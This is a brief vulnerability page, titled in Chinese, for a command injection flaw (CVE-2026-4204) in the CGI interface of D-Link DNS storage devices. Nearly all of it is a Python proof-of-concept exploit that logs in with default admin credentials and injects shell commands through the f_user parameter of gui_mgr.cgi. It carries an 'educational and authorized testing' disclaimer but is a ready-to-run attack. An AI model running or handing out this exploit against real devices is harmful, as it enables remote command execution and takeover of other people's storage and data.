D-Link DNS系列多款产品CGI接口命令注入漏洞(CVE-2026-4204)

#!/usr/bin/env python3 """ CVE-2026-4204 PoC - D-Link DNS series Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET = "http://target-ip" USERNAME = "admin" PASSWORD = "admin" def exploit(target, username, password, cmd="id"): """Execute command via CVE-2026-4204""" session = requests.Session() # Login to get session login_data = { "username": username, "password": password } session.post(f"{target}/cgi-bin/gui_mgr.cgi", data=login_data) # Exploit command injection via f_user parameter # Inject command via shell metacharacters injected_cmd = f";{cmd}" exploit_data = { "f_user": injected_cmd, "func": "cgi_myfavorite_add" # or other affected functions } try: response = session.post( f"{target}/cgi-bin/gui_mgr.cgi", data=exploit_data, timeout=10 ) return response.text except requests.RequestException as e: return f"Error: {e}" if __name__ == "__main__": if len(sys.argv) > 1: cmd = sys.argv[1] else: cmd = "id" print(exploit(TARGET, USERNAME, PASSWORD, cmd))